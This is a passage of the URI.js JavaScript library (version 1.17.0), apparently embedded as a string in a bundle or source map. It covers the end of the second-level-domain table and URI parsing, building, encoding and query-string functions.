',\n      'ma':' ac co gov m net org press ',\n      'mc':' asso tm ',\n      'me':' ac co edu gov its net org priv ',\n      'mg':' com edu gov mil nom org prd tm ',\n      'mk':' com edu gov inf name net org pro ',\n      'ml':' com edu gov net org presse ',\n      'mn':' edu gov org ',\n      'mo':' com edu gov net org ',\n      'mt':' com edu gov net org ',\n      'mv':' aero biz com coop edu gov info int mil museum name net org pro ',\n      'mw':' ac co com coop edu gov int museum net org ',\n      'mx':' com edu gob net org ',\n      'my':' com edu gov mil name net org sch ',\n      'nf':' arts com firm info net other per rec store web ',\n      'ng':' biz com edu gov mil mobi name net org sch ',\n      'ni':' ac co com edu gob mil net nom org ',\n      'np':' com edu gov mil net org ',\n      'nr':' biz com edu gov info net org ',\n      'om':' ac biz co com edu gov med mil museum net org pro sch ',\n      'pe':' com edu gob mil net nom org sld ',\n      'ph':' com edu gov i mil net ngo org ',\n      'pk':' biz com edu fam gob gok gon gop gos gov net org web ',\n      'pl':' art bialystok biz com edu gda gdansk gorzow gov info katowice krakow lodz lublin mil net ngo olsztyn org poznan pwr radom slupsk szczecin torun warszawa waw wroc wroclaw zgora ',\n      'pr':' ac biz com edu est gov info isla name net org pro prof ',\n      'ps':' com edu gov net org plo sec ',\n      'pw':' belau co ed go ne or ',\n      'ro':' arts com firm info nom nt org rec store tm www ',\n      'rs':' ac co edu gov in org ',\n      'sb':' com edu gov net org ',\n      'sc':' com edu gov net org ',\n      'sh':' co com edu gov net nom org ',\n      'sl':' com edu gov net org ',\n      'st':' co com consulado edu embaixada gov mil net org principe saotome store ',\n      'sv':' com edu gob org red ',\n      'sz':' ac co org ',\n      'tr':' av bbs bel biz com dr edu gen gov info k12 name net org pol tel tsk tv web ',\n      'tt':' aero biz cat co com coop edu gov info int jobs mil mobi museum name net org pro tel travel ',\n      'tw':' club com ebiz edu game gov idv mil net org ',\n      'mu':' ac co com gov net or org ',\n      'mz':' ac co edu gov org ',\n      'na':' co com ',\n      'nz':' ac co cri geek gen govt health iwi maori mil net org parliament school ',\n      'pa':' abo ac com edu gob ing med net nom org sld ',\n      'pt':' com edu gov int net nome org publ ',\n      'py':' com edu gov mil net org ',\n      'qa':' com edu gov mil net org ',\n      're':' asso com nom ',\n      'ru':' ac adygeya altai amur arkhangelsk astrakhan bashkiria belgorod bir bryansk buryatia cbg chel chelyabinsk chita chukotka chuvashia com dagestan e-burg edu gov grozny int irkutsk ivanovo izhevsk jar joshkar-ola kalmykia kaluga kamchatka karelia kazan kchr kemerovo khabarovsk khakassia khv kirov koenig komi kostroma kranoyarsk kuban kurgan kursk lipetsk magadan mari mari-el marine mil mordovia mosreg msk murmansk nalchik net nnov nov novosibirsk nsk omsk orenburg org oryol penza perm pp pskov ptz rnd ryazan sakhalin samara saratov simbirsk smolensk spb stavropol stv surgut tambov tatarstan tom tomsk tsaritsyn tsk tula tuva tver tyumen udm udmurtia ulan-ude vladikavkaz vladimir vladivostok volgograd vologda voronezh vrn vyatka yakutia yamal yekaterinburg yuzhno-sakhalinsk ',\n      'rw':' ac co com edu gouv gov int mil net ',\n      'sa':' com edu gov med net org pub sch ',\n      'sd':' com edu gov info med net org tv ',\n      'se':' a ac b bd c d e f g h i k l m n o org p parti pp press r s t tm u w x y z ',\n      'sg':' com edu gov idn net org per ',\n      'sn':' art com edu gouv org perso univ ',\n      'sy':' com edu gov mil net news org ',\n      'th':' ac co go in mi net or ',\n      'tj':' ac biz co com edu go gov info int mil name net nic org test web ',\n      'tn':' agrinet com defense edunet ens fin gov ind info intl mincom nat net org perso rnrt rns rnu tourism ',\n      'tz':' ac co go ne or ',\n      'ua':' biz cherkassy chernigov chernovtsy ck cn co com crimea cv dn dnepropetrovsk donetsk dp edu gov if in ivano-frankivsk kh kharkov kherson khmelnitskiy kiev kirovograd km kr ks kv lg lugansk lutsk lviv me mk net nikolaev od odessa org pl poltava pp rovno rv sebastopol sumy te ternopil uzhgorod vinnica vn zaporizhzhe zhitomir zp zt ',\n      'ug':' ac co go ne or org sc ',\n      'uk':' ac bl british-library co cym gov govt icnet jet lea ltd me mil mod national-library-scotland nel net nhs nic nls org orgn parliament plc police sch scot soc ',\n      'us':' dni fed isa kids nsn ',\n      'uy':' com edu gub mil net org ',\n      've':' co com edu gob info mil net org web ',\n      'vi':' co com k12 net org ',\n      'vn':' ac biz com edu gov health info int name net org pro ',\n      'ye':' co com gov ltd me net org plc ',\n      'yu':' ac co edu gov org ',\n      'za':' ac agric alt bourse city co cybernet db edu gov grondar iaccess imt inca landesign law mil net ngo nis nom olivetti org pix school tm web ',\n      'zm':' ac co com edu gov net org sch '\n    },\n    // gorhill 2013-10-25: Using indexOf() instead Regexp(). Significant boost\n    // in both performance and memory footprint. No initialization required.\n    // http://jsperf.com/uri-js-sld-regex-vs-binary-search/4\n    // Following methods use lastIndexOf() rather than array.split() in order\n    // to avoid any memory allocations.\n    has: function(domain) {\n      var tldOffset = domain.lastIndexOf('.');\n      if (tldOffset <= 0 || tldOffset >= (domain.length-1)) {\n        return false;\n      }\n      var sldOffset = domain.lastIndexOf('.', tldOffset-1);\n      if (sldOffset <= 0 || sldOffset >= (tldOffset-1)) {\n        return false;\n      }\n      var sldList = SLD.list[domain.slice(tldOffset+1)];\n      if (!sldList) {\n        return false;\n      }\n      return sldList.indexOf(' ' + domain.slice(sldOffset+1, tldOffset) + ' ') >= 0;\n    },\n    is: function(domain) {\n      var tldOffset = domain.lastIndexOf('.');\n      if (tldOffset <= 0 || tldOffset >= (domain.length-1)) {\n        return false;\n      }\n      var sldOffset = domain.lastIndexOf('.', tldOffset-1);\n      if (sldOffset >= 0) {\n        return false;\n      }\n      var sldList = SLD.list[domain.slice(tldOffset+1)];\n      if (!sldList) {\n        return false;\n      }\n      return sldList.indexOf(' ' + domain.slice(0, tldOffset) + ' ') >= 0;\n    },\n    get: function(domain) {\n      var tldOffset = domain.lastIndexOf('.');\n      if (tldOffset <= 0 || tldOffset >= (domain.length-1)) {\n        return null;\n      }\n      var sldOffset = domain.lastIndexOf('.', tldOffset-1);\n      if (sldOffset <= 0 || sldOffset >= (tldOffset-1)) {\n        return null;\n      }\n      var sldList = SLD.list[domain.slice(tldOffset+1)];\n      if (!sldList) {\n        return null;\n      }\n      if (sldList.indexOf(' ' + domain.slice(sldOffset+1, tldOffset) + ' ') < 0) {\n        return null;\n      }\n      return domain.slice(sldOffset+1);\n    },\n    noConflict: function(){\n      if (root.SecondLevelDomains === this) {\n        root.SecondLevelDomains = _SecondLevelDomains;\n      }\n      return this;\n    }\n  };\n\n  return SLD;\n}));\n","/*!\n * URI.js - Mutating URLs\n *\n * Version: 1.17.0\n *\n * Author: Rodney Rehm\n * Web: http://medialize.github.io/URI.js/\n *\n * Licensed under\n *   MIT License http://www.opensource.org/licenses/mit-license\n *   GPL v3 http://opensource.org/licenses/GPL-3.0\n *\n */\n(function (root, factory) {\n  'use strict';\n  // https://github.com/umdjs/umd/blob/master/returnExports.js\n  if (typeof exports === 'object') {\n    // Node\n    module.exports = factory(require('./punycode'), require('./IPv6'), require('./SecondLevelDomains'));\n  } else if (typeof define === 'function' && define.amd) {\n    // AMD. Register as an anonymous module.\n    define(['./punycode', './IPv6', './SecondLevelDomains'], factory);\n  } else {\n    // Browser globals (root is window)\n    root.URI = factory(root.punycode, root.IPv6, root.SecondLevelDomains, root);\n  }\n}(this, function (punycode, IPv6, SLD, root) {\n  'use strict';\n  /*global location, escape, unescape */\n  // FIXME: v2.0.0 renamce non-camelCase properties to uppercase\n  /*jshint camelcase: false */\n\n  // save current URI variable, if any\n  var _URI = root && root.URI;\n\n  function URI(url, base) {\n    var _urlSupplied = arguments.length >= 1;\n    var _baseSupplied = arguments.length >= 2;\n\n    // Allow instantiation without the 'new' keyword\n    if (!(this instanceof URI)) {\n      if (_urlSupplied) {\n        if (_baseSupplied) {\n          return new URI(url, base);\n        }\n\n        return new URI(url);\n      }\n\n      return new URI();\n    }\n\n    if (url === undefined) {\n      if (_urlSupplied) {\n        throw new TypeError('undefined is not a valid argument for URI');\n      }\n\n      if (typeof location !== 'undefined') {\n        url = location.href + '';\n      } else {\n        url = '';\n      }\n    }\n\n    this.href(url);\n\n    // resolve to base according to http://dvcs.w3.org/hg/url/raw-file/tip/Overview.html#constructor\n    if (base !== undefined) {\n      return this.absoluteTo(base);\n    }\n\n    return this;\n  }\n\n  URI.version = '1.17.0';\n\n  var p = URI.prototype;\n  var hasOwn = Object.prototype.hasOwnProperty;\n\n  function escapeRegEx(string) {\n    // https://github.com/medialize/URI.js/commit/85ac21783c11f8ccab06106dba9735a31a86924d#commitcomment-821963\n    return string.replace(/([.*+?^=!:${}()|[\\]\\/\\\\])/g, '\\\\$1');\n  }\n\n  function getType(value) {\n    // IE8 doesn't return [Object Undefined] but [Object Object] for undefined value\n    if (value === undefined) {\n      return 'Undefined';\n    }\n\n    return String(Object.prototype.toString.call(value)).slice(8, -1);\n  }\n\n  function isArray(obj) {\n    return getType(obj) === 'Array';\n  }\n\n  function filterArrayValues(data, value) {\n    var lookup = {};\n    var i, length;\n\n    if (getType(value) === 'RegExp') {\n      lookup = null;\n    } else if (isArray(value)) {\n      for (i = 0, length = value.length; i < length; i++) {\n        lookup[value[i]] = true;\n      }\n    } else {\n      lookup[value] = true;\n    }\n\n    for (i = 0, length = data.length; i < length; i++) {\n      /*jshint laxbreak: true */\n      var _match = lookup && lookup[data[i]] !== undefined\n        || !lookup && value.test(data[i]);\n      /*jshint laxbreak: false */\n      if (_match) {\n        data.splice(i, 1);\n        length--;\n        i--;\n      }\n    }\n\n    return data;\n  }\n\n  function arrayContains(list, value) {\n    var i, length;\n\n    // value may be string, number, array, regexp\n    if (isArray(value)) {\n      // Note: this can be optimized to O(n) (instead of current O(m * n))\n      for (i = 0, length = value.length; i < length; i++) {\n        if (!arrayContains(list, value[i])) {\n          return false;\n        }\n      }\n\n      return true;\n    }\n\n    var _type = getType(value);\n    for (i = 0, length = list.length; i < length; i++) {\n      if (_type === 'RegExp') {\n        if (typeof list[i] === 'string' && list[i].match(value)) {\n          return true;\n        }\n      } else if (list[i] === value) {\n        return true;\n      }\n    }\n\n    return false;\n  }\n\n  function arraysEqual(one, two) {\n    if (!isArray(one) || !isArray(two)) {\n      return false;\n    }\n\n    // arrays can't be equal if they have different amount of content\n    if (one.length !== two.length) {\n      return false;\n    }\n\n    one.sort();\n    two.sort();\n\n    for (var i = 0, l = one.length; i < l; i++) {\n      if (one[i] !== two[i]) {\n        return false;\n      }\n    }\n\n    return true;\n  }\n\n  function trimSlashes(text) {\n    var trim_expression = /^\\/+|\\/+$/g;\n    return text.replace(trim_expression, '');\n  }\n\n  URI._parts = function() {\n    return {\n      protocol: null,\n      username: null,\n      password: null,\n      hostname: null,\n      urn: null,\n      port: null,\n      path: null,\n      query: null,\n      fragment: null,\n      // state\n      duplicateQueryParameters: URI.duplicateQueryParameters,\n      escapeQuerySpace: URI.escapeQuerySpace\n    };\n  };\n  // state: allow duplicate query parameters (a=1&a=1)\n  URI.duplicateQueryParameters = false;\n  // state: replaces + with %20 (space in query strings)\n  URI.escapeQuerySpace = true;\n  // static properties\n  URI.protocol_expression = /^[a-z][a-z0-9.+-]*$/i;\n  URI.idn_expression = /[^a-z0-9\\.-]/i;\n  URI.punycode_expression = /(xn--)/i;\n  // well, 333.444.555.666 matches, but it sure ain't no IPv4 - do we care?\n  URI.ip4_expression = /^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$/;\n  // credits to Rich Brown\n  // source: http://forums.intermapper.com/viewtopic.php?p=1096#1096\n  // specification: http://www.ietf.org/rfc/rfc4291.txt\n  URI.ip6_expression = /^\\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:)))(%.+)?\\s*$/;\n  // expression used is \"gruber revised\" (@gruber v2) determined to be the\n  // best solution in a regex-golf we did a couple of ages ago at\n  // * http://mathiasbynens.be/demo/url-regex\n  // * http://rodneyrehm.de/t/url-regex.html\n  URI.find_uri_expression = /\\b((?:[a-z][\\w-]+:(?:\\/{1,3}|[a-z0-9%])|www\\d{0,3}[.]|[a-z0-9.\\-]+[.][a-z]{2,4}\\/)(?:[^\\s()<>]+|\\(([^\\s()<>]+|(\\([^\\s()<>]+\\)))*\\))+(?:\\(([^\\s()<>]+|(\\([^\\s()<>]+\\)))*\\)|[^\\s`!()\\[\\]{};:'\".,<>?«»“”‘’]))/ig;\n  URI.findUri = {\n    // valid \"scheme://\" or \"www.\"\n    start: /\\b(?:([a-z][a-z0-9.+-]*:\\/\\/)|www\\.)/gi,\n    // everything up to the next whitespace\n    end: /[\\s\\r\\n]|$/,\n    // trim trailing punctuation captured by end RegExp\n    trim: /[`!()\\[\\]{};:'\".,<>?«»“”„‘’]+$/\n  };\n  // http://www.iana.org/assignments/uri-schemes.html\n  // http://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers#Well-known_ports\n  URI.defaultPorts = {\n    http: '80',\n    https: '443',\n    ftp: '21',\n    gopher: '70',\n    ws: '80',\n    wss: '443'\n  };\n  // allowed hostname characters according to RFC 3986\n  // ALPHA DIGIT \"-\" \".\" \"_\" \"~\" \"!\" \"$\" \"&\" \"'\" \"(\" \")\" \"*\" \"+\" \",\" \";\" \"=\" %encoded\n  // I've never seen a (non-IDN) hostname other than: ALPHA DIGIT . -\n  URI.invalid_hostname_characters = /[^a-zA-Z0-9\\.-]/;\n  // map DOM Elements to their URI attribute\n  URI.domAttributes = {\n    'a': 'href',\n    'blockquote': 'cite',\n    'link': 'href',\n    'base': 'href',\n    'script': 'src',\n    'form': 'action',\n    'img': 'src',\n    'area': 'href',\n    'iframe': 'src',\n    'embed': 'src',\n    'source': 'src',\n    'track': 'src',\n    'input': 'src', // but only if type=\"image\"\n    'audio': 'src',\n    'video': 'src'\n  };\n  URI.getDomAttribute = function(node) {\n    if (!node || !node.nodeName) {\n      return undefined;\n    }\n\n    var nodeName = node.nodeName.toLowerCase();\n    // <input> should only expose src for type=\"image\"\n    if (nodeName === 'input' && node.type !== 'image') {\n      return undefined;\n    }\n\n    return URI.domAttributes[nodeName];\n  };\n\n  function escapeForDumbFirefox36(value) {\n    // https://github.com/medialize/URI.js/issues/91\n    return escape(value);\n  }\n\n  // encoding / decoding according to RFC3986\n  function strictEncodeURIComponent(string) {\n    // see https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/encodeURIComponent\n    return encodeURIComponent(string)\n      .replace(/[!'()*]/g, escapeForDumbFirefox36)\n      .replace(/\\*/g, '%2A');\n  }\n  URI.encode = strictEncodeURIComponent;\n  URI.decode = decodeURIComponent;\n  URI.iso8859 = function() {\n    URI.encode = escape;\n    URI.decode = unescape;\n  };\n  URI.unicode = function() {\n    URI.encode = strictEncodeURIComponent;\n    URI.decode = decodeURIComponent;\n  };\n  URI.characters = {\n    pathname: {\n      encode: {\n        // RFC3986 2.1: For consistency, URI producers and normalizers should\n        // use uppercase hexadecimal digits for all percent-encodings.\n        expression: /%(24|26|2B|2C|3B|3D|3A|40)/ig,\n        map: {\n          // -._~!'()*\n          '%24': '$',\n          '%26': '&',\n          '%2B': '+',\n          '%2C': ',',\n          '%3B': ';',\n          '%3D': '=',\n          '%3A': ':',\n          '%40': '@'\n        }\n      },\n      decode: {\n        expression: /[\\/\\?#]/g,\n        map: {\n          '/': '%2F',\n          '?': '%3F',\n          '#': '%23'\n        }\n      }\n    },\n    reserved: {\n      encode: {\n        // RFC3986 2.1: For consistency, URI producers and normalizers should\n        // use uppercase hexadecimal digits for all percent-encodings.\n        expression: /%(21|23|24|26|27|28|29|2A|2B|2C|2F|3A|3B|3D|3F|40|5B|5D)/ig,\n        map: {\n          // gen-delims\n          '%3A': ':',\n          '%2F': '/',\n          '%3F': '?',\n          '%23': '#',\n          '%5B': '[',\n          '%5D': ']',\n          '%40': '@',\n          // sub-delims\n          '%21': '!',\n          '%24': '$',\n          '%26': '&',\n          '%27': '\\'',\n          '%28': '(',\n          '%29': ')',\n          '%2A': '*',\n          '%2B': '+',\n          '%2C': ',',\n          '%3B': ';',\n          '%3D': '='\n        }\n      }\n    },\n    urnpath: {\n      // The characters under `encode` are the characters called out by RFC 2141 as being acceptable\n      // for usage in a URN. RFC2141 also calls out \"-\", \".\", and \"_\" as acceptable characters, but\n      // these aren't encoded by encodeURIComponent, so we don't have to call them out here. Also\n      // note that the colon character is not featured in the encoding map; this is because URI.js\n      // gives the colons in URNs semantic meaning as the delimiters of path segements, and so it\n      // should not appear unencoded in a segment itself.\n      // See also the note above about RFC3986 and capitalalized hex digits.\n      encode: {\n        expression: /%(21|24|27|28|29|2A|2B|2C|3B|3D|40)/ig,\n        map: {\n          '%21': '!',\n          '%24': '$',\n          '%27': '\\'',\n          '%28': '(',\n          '%29': ')',\n          '%2A': '*',\n          '%2B': '+',\n          '%2C': ',',\n          '%3B': ';',\n          '%3D': '=',\n          '%40': '@'\n        }\n      },\n      // These characters are the characters called out by RFC2141 as \"reserved\" characters that\n      // should never appear in a URN, plus the colon character (see note above).\n      decode: {\n        expression: /[\\/\\?#:]/g,\n        map: {\n          '/': '%2F',\n          '?': '%3F',\n          '#': '%23',\n          ':': '%3A'\n        }\n      }\n    }\n  };\n  URI.encodeQuery = function(string, escapeQuerySpace) {\n    var escaped = URI.encode(string + '');\n    if (escapeQuerySpace === undefined) {\n      escapeQuerySpace = URI.escapeQuerySpace;\n    }\n\n    return escapeQuerySpace ? escaped.replace(/%20/g, '+') : escaped;\n  };\n  URI.decodeQuery = function(string, escapeQuerySpace) {\n    string += '';\n    if (escapeQuerySpace === undefined) {\n      escapeQuerySpace = URI.escapeQuerySpace;\n    }\n\n    try {\n      return URI.decode(escapeQuerySpace ? string.replace(/\\+/g, '%20') : string);\n    } catch(e) {\n      // we're not going to mess with weird encodings,\n      // give up and return the undecoded original string\n      // see https://github.com/medialize/URI.js/issues/87\n      // see https://github.com/medialize/URI.js/issues/92\n      return string;\n    }\n  };\n  // generate encode/decode path functions\n  var _parts = {'encode':'encode', 'decode':'decode'};\n  var _part;\n  var generateAccessor = function(_group, _part) {\n    return function(string) {\n      try {\n        return URI[_part](string + '').replace(URI.characters[_group][_part].expression, function(c) {\n          return URI.characters[_group][_part].map[c];\n        });\n      } catch (e) {\n        // we're not going to mess with weird encodings,\n        // give up and return the undecoded original string\n        // see https://github.com/medialize/URI.js/issues/87\n        // see https://github.com/medialize/URI.js/issues/92\n        return string;\n      }\n    };\n  };\n\n  for (_part in _parts) {\n    URI[_part + 'PathSegment'] = generateAccessor('pathname', _parts[_part]);\n    URI[_part + 'UrnPathSegment'] = generateAccessor('urnpath', _parts[_part]);\n  }\n\n  var generateSegmentedPathFunction = function(_sep, _codingFuncName, _innerCodingFuncName) {\n    return function(string) {\n      // Why pass in names of functions, rather than the function objects themselves? The\n      // definitions of some functions (but in particular, URI.decode) will occasionally change due\n      // to URI.js having ISO8859 and Unicode modes. Passing in the name and getting it will ensure\n      // that the functions we use here are \"fresh\".\n      var actualCodingFunc;\n      if (!_innerCodingFuncName) {\n        actualCodingFunc = URI[_codingFuncName];\n      } else {\n        actualCodingFunc = function(string) {\n          return URI[_codingFuncName](URI[_innerCodingFuncName](string));\n        };\n      }\n\n      var segments = (string + '').split(_sep);\n\n      for (var i = 0, length = segments.length; i < length; i++) {\n        segments[i] = actualCodingFunc(segments[i]);\n      }\n\n      return segments.join(_sep);\n    };\n  };\n\n  // This takes place outside the above loop because we don't want, e.g., encodeUrnPath functions.\n  URI.decodePath = generateSegmentedPathFunction('/', 'decodePathSegment');\n  URI.decodeUrnPath = generateSegmentedPathFunction(':', 'decodeUrnPathSegment');\n  URI.recodePath = generateSegmentedPathFunction('/', 'encodePathSegment', 'decode');\n  URI.recodeUrnPath = generateSegmentedPathFunction(':', 'encodeUrnPathSegment', 'decode');\n\n  URI.encodeReserved = generateAccessor('reserved', 'encode');\n\n  URI.parse = function(string, parts) {\n    var pos;\n    if (!parts) {\n      parts = {};\n    }\n    // [protocol\"://\"[username[\":\"password]\"@\"]hostname[\":\"port]\"/\"?][path][\"?\"querystring][\"#\"fragment]\n\n    // extract fragment\n    pos = string.indexOf('#');\n    if (pos > -1) {\n      // escaping?\n      parts.fragment = string.substring(pos + 1) || null;\n      string = string.substring(0, pos);\n    }\n\n    // extract query\n    pos = string.indexOf('?');\n    if (pos > -1) {\n      // escaping?\n      parts.query = string.substring(pos + 1) || null;\n      string = string.substring(0, pos);\n    }\n\n    // extract protocol\n    if (string.substring(0, 2) === '//') {\n      // relative-scheme\n      parts.protocol = null;\n      string = string.substring(2);\n      // extract \"user:pass@host:port\"\n      string = URI.parseAuthority(string, parts);\n    } else {\n      pos = string.indexOf(':');\n      if (pos > -1) {\n        parts.protocol = string.substring(0, pos) || null;\n        if (parts.protocol && !parts.protocol.match(URI.protocol_expression)) {\n          // : may be within the path\n          parts.protocol = undefined;\n        } else if (string.substring(pos + 1, pos + 3) === '//') {\n          string = string.substring(pos + 3);\n\n          // extract \"user:pass@host:port\"\n          string = URI.parseAuthority(string, parts);\n        } else {\n          string = string.substring(pos + 1);\n          parts.urn = true;\n        }\n      }\n    }\n\n    // what's left must be the path\n    parts.path = string;\n\n    // and we're done\n    return parts;\n  };\n  URI.parseHost = function(string, parts) {\n    // Copy chrome, IE, opera backslash-handling behavior.\n    // Back slashes before the query string get converted to forward slashes\n    // See: https://github.com/joyent/node/blob/386fd24f49b0e9d1a8a076592a404168faeecc34/lib/url.js#L115-L124\n    // See: https://code.google.com/p/chromium/issues/detail?id=25916\n    // https://github.com/medialize/URI.js/pull/233\n    string = string.replace(/\\\\/g, '/');\n\n    // extract host:port\n    var pos = string.indexOf('/');\n    var bracketPos;\n    var t;\n\n    if (pos === -1) {\n      pos = string.length;\n    }\n\n    if (string.charAt(0) === '[') {\n      // IPv6 host - http://tools.ietf.org/html/draft-ietf-6man-text-addr-representation-04#section-6\n      // I claim most client software breaks on IPv6 anyways. To simplify things, URI only accepts\n      // IPv6+port in the format [2001:db8::1]:80 (for the time being)\n      bracketPos = string.indexOf(']');\n      parts.hostname = string.substring(1, bracketPos) || null;\n      parts.port = string.substring(bracketPos + 2, pos) || null;\n      if (parts.port === '/') {\n        parts.port = null;\n      }\n    } else {\n      var firstColon = string.indexOf(':');\n      var firstSlash = string.indexOf('/');\n      var nextColon = string.indexOf(':', firstColon + 1);\n      if (nextColon !== -1 && (firstSlash === -1 || nextColon < firstSlash)) {\n        // IPv6 host contains multiple colons - but no port\n        // this notation is actually not allowed by RFC 3986, but we're a liberal parser\n        parts.hostname = string.substring(0, pos) || null;\n        parts.port = null;\n      } else {\n        t = string.substring(0, pos).split(':');\n        parts.hostname = t[0] || null;\n        parts.port = t[1] || null;\n      }\n    }\n\n    if (parts.hostname && string.substring(pos).charAt(0) !== '/') {\n      pos++;\n      string = '/' + string;\n    }\n\n    return string.substring(pos) || '/';\n  };\n  URI.parseAuthority = function(string, parts) {\n    string = URI.parseUserinfo(string, parts);\n    return URI.parseHost(string, parts);\n  };\n  URI.parseUserinfo = function(string, parts) {\n    // extract username:password\n    var firstSlash = string.indexOf('/');\n    var pos = string.lastIndexOf('@', firstSlash > -1 ? firstSlash : string.length - 1);\n    var t;\n\n    // authority@ must come before /path\n    if (pos > -1 && (firstSlash === -1 || pos < firstSlash)) {\n      t = string.substring(0, pos).split(':');\n      parts.username = t[0] ? URI.decode(t[0]) : null;\n      t.shift();\n      parts.password = t[0] ? URI.decode(t.join(':')) : null;\n      string = string.substring(pos + 1);\n    } else {\n      parts.username = null;\n      parts.password = null;\n    }\n\n    return string;\n  };\n  URI.parseQuery = function(string, escapeQuerySpace) {\n    if (!string) {\n      return {};\n    }\n\n    // throw out the funky business - \"?\"[name\"=\"value\"&\"]+\n    string = string.replace(/&+/g, '&').replace(/^\\?*&*|&+$/g, '');\n\n    if (!string) {\n      return {};\n    }\n\n    var items = {};\n    var splits = string.split('&');\n    var length = splits.length;\n    var v, name, value;\n\n    for (var i = 0; i < length; i++) {\n      v = splits[i].split('=');\n      name = URI.decodeQuery(v.shift(), escapeQuerySpace);\n      // no \"=\" is null according to http://dvcs.w3.org/hg/url/raw-file/tip/Overview.html#collect-url-parameters\n      value = v.length ? URI.decodeQuery(v.join('='), escapeQuerySpace) : null;\n\n      if (hasOwn.call(items, name)) {\n        if (typeof items[name] === 'string' || items[name] === null) {\n          items[name] = [items[name]];\n        }\n\n        items[name].push(value);\n      } else {\n        items[name] = value;\n      }\n    }\n\n    return items;\n  };\n\n  URI.build = function(parts) {\n    var t = '';\n\n    if (parts.protocol) {\n      t += parts.protocol + ':';\n    }\n\n    if (!parts.urn && (t || parts.hostname)) {\n      t += '//';\n    }\n\n    t += (URI.buildAuthority(parts) || '');\n\n    if (typeof parts.path === 'string') {\n      if (parts.path.charAt(0) !== '/' && typeof parts.hostname === 'string') {\n        t += '/';\n      }\n\n      t += parts.path;\n    }\n\n    if (typeof parts.query === 'string' && parts.query) {\n      t += '?' + parts.query;\n    }\n\n    if (typeof parts.fragment === 'string' && parts.fragment) {\n      t += '#' + parts.fragment;\n    }\n    return t;\n  };\n  URI.buildHost = function(parts) {\n    var t = '';\n\n    if (!parts.hostname) {\n      return '';\n    } else if (URI.ip6_expression.test(parts.hostname)) {\n      t += '[' + parts.hostname + ']';\n    } else {\n      t += parts.hostname;\n    }\n\n    if (parts.port) {\n      t += ':' + parts.port;\n    }\n\n    return t;\n  };\n  URI.buildAuthority = function(parts) {\n    return URI.buildUserinfo(parts) + URI.buildHost(parts);\n  };\n  URI.buildUserinfo = function(parts) {\n    var t = '';\n\n    if (parts.username) {\n      t += URI.encode(parts.username);\n\n      if (parts.password) {\n        t += ':' + URI.encode(parts.password);\n      }\n\n      t += '@';\n    }\n\n    return t;\n  };\n  URI.buildQuery = function(data, duplicateQueryParameters, escapeQuerySpace) {\n    // according to http://tools.ietf.org/html/rfc3986 or http://labs.apache.org/webarch/uri/rfc/rfc3986.html\n    // being »-._~!$&'()*+,;=:@/?« %HEX and alnum are allowed\n    // the RFC explicitly states ?/foo being a valid use case, no mention of parameter syntax!\n    // URI.js treats the query string as being application/x-www-form-urlencoded\n    // see http://www.w3.org/TR/REC-html40/interact/forms.html#form-content-type\n\n    var t = '';\n    var unique, key, i, length;\n    for (key in data) {\n      if (hasOwn.call(data, key) && key) {\n        if (isArray(data[key])) {\n          unique = {};\n          for (i = 0, length = data[key].length; i < length; i++) {\n            if (data[key][i] !== undefined && unique[data[key][i] + ''] === undefined) {\n              t += '&' + URI.buildQueryParameter(key, data[key][i], escapeQuerySpace);\n              if (duplicateQueryParameters !== true) {\n                unique[data[key][i] + ''] = true;\n              }\n            }\n          }\n        } else if (data[key] !== undefined) {\n          t += '&' + URI.buildQueryParameter(key, data[key], escapeQuerySpace);\n        }\n      }\n    }\n\n    return t.substring(1);\n  };\n  URI.buildQueryParameter = function(name, value, escapeQuerySpace) {\n    // http://www.w3.org/TR/REC-html40/interact/forms.html#form-content-type -- application/x-www-form-urlencoded\n    // don't append \"=\" for null values, according to http://dvcs.w3.org/hg/url/raw-file/tip/Overview.html#url-parameter-serialization\n    return URI.encodeQuery(name, escapeQuerySpace) + (value !== null ? '=' + URI.encodeQuery(value, escapeQuerySpace) : '');\n  };\n\n  URI.addQuery = function(data, name, value) {\n    if (typeof name === 'object') {\n      for (var key in name) {\n        if (hasOwn.call(name, key)) {\n          URI.addQuery(data, key, name[key]);\n        }\n      }\n    } else if (typeof name === 'string') {\n      if (data[name] === undefined) {\n        data[name] = value;\n        return;\n      } else if (typeof data[name] === 'string') {\n        data[name] = [data[name]];\n      }\n\n      if (!isArray(value)) {\n        value = [value];\n      }\n\n      data[name] = 